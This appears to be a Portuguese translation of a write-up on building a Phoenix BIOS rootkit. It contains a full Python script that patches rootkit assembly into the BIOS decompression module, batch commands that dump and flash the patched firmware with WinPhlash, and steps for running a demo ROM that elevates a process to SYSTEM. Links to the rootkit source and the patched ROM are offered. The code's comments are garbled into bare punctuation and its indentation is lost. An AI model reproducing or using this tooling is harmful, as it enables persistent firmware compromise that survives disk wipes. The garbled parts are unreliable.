Descompactando e corrigindo o BIOS
Agora que sabemos como queremos injetar o rootkit no BIOS, a próxima etapa é corrigir o BIOS com nosso código de rootkit. Para fazer isso, precisamos extrair todos os módulos BIOS, corrigir o módulo de descompactação e reconstruir tudo. Os módulos podem ser extraídos usando o utilitário de console phxdeco ou o Phoenix BIOS Editor. Depois que o módulo de descompactação for extraído, o código a seguir fará o patch com nosso rootkit:
#!/usr/bin/python
import os,struct,sys
###############################################
# BIOS -
# Phoenix BIOS Editor ( Windows) , , «DECOMPC0.ROM».
# C:\Program Files\Phoenix Bios Editor\TEMP ( ) BIOS WPH. .
# , BIOS Editor BIOS - BIOS Editor BIOS WPH.
# phnxdeco.exe, .
# , NASM , .
#
# INPUT:
# , asm- BIOS .
#
# OUTPUT:
# DECOMPC0.ROM, , , , asm- BIOS.
#
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#
shellcode = sys.argv[1].lower()
# . NASM , !
os.system('nasm %s' % shellcode)
#
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# , 0x23 ROM .
# ROM , push, CLD. mov.
# , .
# , , Near Call, ROM- , .
# NOP .
minihook = '\xe8\x28\x04\x90\x90\x90'
# , , !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# ROM
decorom = open('DECOMPC0.ROM','rb').read()
# - 0x23, CLD
hookoffset=0x23
# ROM , ,
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# ROM NOP.
# , , .
decorom+="\x90"*100+decomphook
# 10 NOP .
decorom=decorom+'\x90'*10
# ROM,
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# ROM
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#
print "The DECOMPC0.ROM file has now been patched."
Um exemplo de como chamar este script pode ser:
python patchdecomp.py biosrootkit.asm
Se tudo funcionar bem, você verá algo semelhante ao seguinte:
Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.
Reconstruir o BIOS
Para arquivos BIOS primários, como o incluído no VMware, diversos utilitários de linha de comando incluídos no Phoenix Bios Editor (ou disponíveis na Intel) podem ser usados para reconstruir. Mais tarde, ao testar em um PC real, foi necessário salvar o BIOS não apenas no formato principal, então a versão GUI do Phoenix Bios Editor foi usada como uma ferramenta para reconstrução. Infelizmente, isso significa que não é possível simplesmente ter um aplicativo que pode ser executado no sistema para infectar o BIOS, pelo menos sem usar as ferramentas preparadas.
Isso significa que a infecção do BIOS é um processo de três etapas que requer alguma intervenção manual, principalmente remontagem. O Phoenix BIOS Editor com imagem de BIOS aberta é mostrado abaixo:
O Phoenix BIOS Editor não foi desenvolvido para substituir módulos, mas oferece essa oportunidade. Quando a imagem BIOS é aberta pela primeira vez, todos os módulos BIOS serão extraídos para o disco em uma pasta localizada em
C:\Program Files\Phoenix BIOS Editor\TEMP\. O módulo de desempacotamento pode ser copiado desta pasta, corrigido e substituído. O Phoenix BIOS Editor não permitirá que você salve o BIOS inalterado, portanto, para salvar o BIOS, temos que alterar alguns valores de string e, em seguida, alterá-lo novamente (ou apenas deixar assim).
O código-fonte do rootkit do BIOS e os scripts de patch podem ser baixados dos links no final deste artigo, se você quiser fazer tudo sozinho.
PC real
Phoenix BIOS foi usado em todos os designs baseados em VMware, então também foi selecionado para teste em um PC físico. Todos os testes de BIOS físicos (em oposição aos virtuais) foram conduzidos usando um laptop HP Pavilion ze4400. Inicialmente, o teste do BIOS foi planejado usando um PC, não um laptop, já que seria muito mais fácil acessar a placa-mãe do PC para fazer o flash se necessário. Independentemente disso, não foi fácil encontrar um PC com Phoenix BIOS rapidamente, então eu tive que usar um laptop (agradecimento especial a David por atualizar meu laptop depois que acidentalmente escrevi o código-fonte em minha BIOS!)
Extraindo BIOS no PC
O primeiro passo para modificar um BIOS de sistema real é extrair uma cópia dele. O Phoenix possui duas ferramentas diferentes que normalmente fornecem para esse fim, uma chamada "Phlash16" e a outra chamada "WinPhlash". Phlash16 é um utilitário de linha de comando (com um console GUI), mas ele só roda no DOS. WinPhlash, como o nome sugere, é executado no Windows. Embora seja um utilitário GUI, ele também aceita parâmetros de linha de comando, o que nos permite automatizar o processo de extração do BIOS. Para este projeto, criei vários scripts para automatizar a extração e correção de BIOS, mas eles são bastante primitivos e não muito funcionais.
O script em lote a seguir copiará o BIOS em um arquivo denominado
BIOSORIG.WPHe verificará se ele foi modificado anteriormente. Script PerlCheckFlash.py apenas verifica o conteúdo do BIOS pelo meu nome, que não está em nenhum BIOS não modificado.
@rem BIOS , .
@rem
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem , BIOS
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH
Descompactando e corrigindo BIOS no PC
Depois de extrair o BIOS, a próxima etapa é corrigi-lo com nosso código de rootkit. Isso pode ser feito usando os mesmos scripts que usamos para VMware nas seções acima. O objetivo deste projeto era criar processos de patches e patches tão consistentes quanto possível. Estou muito feliz que acabou sendo totalmente viável, de modo que as mesmas ferramentas podem ser usadas para hardware completamente diferente rodando no mesmo tipo de BIOS.
Reconstruir BIOS no PC
Embora haja uma ferramenta gratuita que pode extrair módulos do BIOS do Phoenix, parece que apenas o Phoenix Bios Editor irá construí-los da maneira que os PCs comuns exigem. A ferramenta WinPhlash requer que o BIOS inclua informações adicionais que ele armazena junto com o BIOS bruto em um arquivo WPH. Depois de testar muitas opções diferentes, parece que a única maneira de construir um arquivo WPH com sucesso é usar a GUI do Editor Phoenix Bios. Infelizmente, isso significa que é impossível simplesmente ter um aplicativo que pode ser executado em um sistema para infectar o BIOS, pelo menos sem usar as ferramentas fornecidas.
Em teoria, deveria ser possível fazer a engenharia reversa do formato WPH e criar uma ferramenta de remontagem de BIOS personalizada, mas isso está fora do escopo deste projeto. Em vez disso, infectar o BIOS é um processo de três etapas que requer alguma intervenção manual, principalmente reconstrução.
Assim como o patch do VMware BIOS, você pode usar a mesma técnica para que o Phoenix BIOS Editor reconstrua o módulo corrigido. Quando a imagem BIOS é aberta pela primeira vez, todos os módulos BIOS serão extraídos para o disco em uma pasta localizada em
C:\Program Files\Phoenix BIOS Editor\TEMP\... O módulo de descompactação pode ser copiado desta pasta, corrigido e substituído. O Phoenix BIOS Editor não permitirá que você salve o BIOS inalterado, então você precisa alterar alguns valores de string e então colocá-lo de volta (ou apenas deixar assim) para salvar o BIOS.
BIOS flashing
Depois que o BIOS é reconstruído em um arquivo WPH, o seguinte script de lote moverá a nova imagem do BIOS para o BIOS EEPROM e, em seguida, reinicializará o computador para que as alterações tenham efeito:
@rem "BIOSPATCHED.WPH" BIOS , .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH
Resultados da modificação em um laptop
Juntando todo o trabalho anterior, o seguinte mostra como o código BIOS foi portado para o laptop (iniciado pelo script infect.bat descrito acima):
Após a conclusão do flash, o rootkit BIOS foi iniciado e inicializado com êxito no kernel do Windows. A captura de tela a seguir mostra uma linha de comando que é executada inicialmente como um usuário comum e, depois de 30 segundos, seus privilégios são elevados:
Isso demonstra que o rootkit BIOS era portátil o suficiente para ser executado em vários sistemas (VMware, laptop HP) e que os mecanismos de infecção eram funcional e funcionando corretamente.
O "rootkit" desenvolvido para este projeto realiza apenas uma tarefa simples, mas, conforme observado em relação ao software Vbootkit2, não há razão para que funcionalidades adicionais não possam ser adicionadas a ele. Este projeto apresentou o BIOS do Phoenix, e é provável que haja muitas semelhanças entre o BIOS do Phoenix e o BIOS de outros fabricantes. Embora seja provável que o código precise ser escrito para cada fornecedor separadamente, não há tantos deles, portanto, é aconselhável estender a funcionalidade do rootkit a todos os fornecedores comuns.
Na introdução, observei que os novos recursos do BIOS, como atualizações assinadas, tornam muito do que é descrito aqui muito menos uma ameaça à segurança. Isso certamente é bom notar, mas também vale lembrar que existem mais computadores "desatualizados" do que "novos", então esse tipo de ataque ainda será um problema por muito tempo.
VMware BIOS Demo e código-fonte
O código-fonte a seguir e o BIOS revisado são fornecidos como uma prova de conceito. De forma alguma, eu estava sugerindo que as pessoas pegassem isso e usassem para fins maliciosos, mas sim demonstrar que tais ataques são bastante viáveis em configurações de BIOS mais antigas. Não acho que seja realista pegar esse trabalho como está e transformá-lo em qualquer malware viável, e por esse motivo estou postando este código na Internet.
Conforme observado nas seções anteriores, esse código deve funcionar para corrigir a maioria dos BIOS do Phoenix. Os scripts de patch podem ser baixados aqui:
BIOS_Based_Rootkit_Patch_Scripts.zip
O código-fonte do rootkit BIOS pode ser baixado aqui:
biosrootkit.asm
Você precisa do NASMpara compilar o código de patch do BIOS se você estiver usando os scripts / código-fonte acima. Para que o NASM funcione com êxito, adicione à variável de caminho ou atualize o script de patch para ter um caminho absoluto para ele. Você também precisará de uma cópia do Phoenix BIOS Editor ou um equivalente gratuito para colocar o desempacotador de volta no BIOS completo.
Se você não quiser compilar tudo isso sozinho e apenas dar uma olhada no que encontrei, o BIOS corrigido para uso com VMware pode ser baixado aqui:
BIOS_rootkit_demo.ROM
Usando prova de conceito e notas
Se você não quiser ler todo o trabalho acima, aqui está um resumo de como tentar e o que ele faz.
- Primeiro baixe a imagem
BIOS_rootkit_demo.ROMdo link acima. - , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
- WinXP, , ,
.vmx(,WindowsXP.vmx) . , :bios440.filename = "BIOS_rootkit_demo.ROM". ,BIOS_rootkit_demo.ROM, . - ,
pwn.exe(,cmd.exe). - Aguarde 30 segundos e inicie o Gerenciador de Tarefas. Ele agora
Pwn.exedeve estar sendo executado como o usuário "SYSTEM", não como o usuário que você efetuou login no XP.
As etapas acima devem funcionar em um mundo ideal. No entanto, como resultado do teste, as seguintes danças com um pandeiro foram identificadas!
- Instabilidade do sistema operacional. Às vezes, ao carregar ou apenas fechar um aplicativo, o
pwn.exeWindows emite um BSOD. - O gerenciador de tarefas mentirá sobre o usuário do seu processo se você abri-lo antes do tempo de escalonamento de privilégios dos anos 30. Use algo como cmd com whoami para verificar suas permissões corretamente.
- Embora eu tenha baixado com sucesso para um PC real, não sou responsável pelos resultados se você fizer o mesmo. Eu adoraria saber como você vai bloquear sua placa-mãe de uma forma ridícula se isso acontecer, mas provavelmente não vou ajudá-lo com as consequências! Teste por sua própria conta e risco!
Se você quer apenas assistir a um vídeo de como isso acontece, Colin postou no YouTube: Eu recomendo realmente tentar isso no VMware, é muito mais divertido ver como limpar o disco rígido não resolve nada e seu sistema ainda está maravilhado!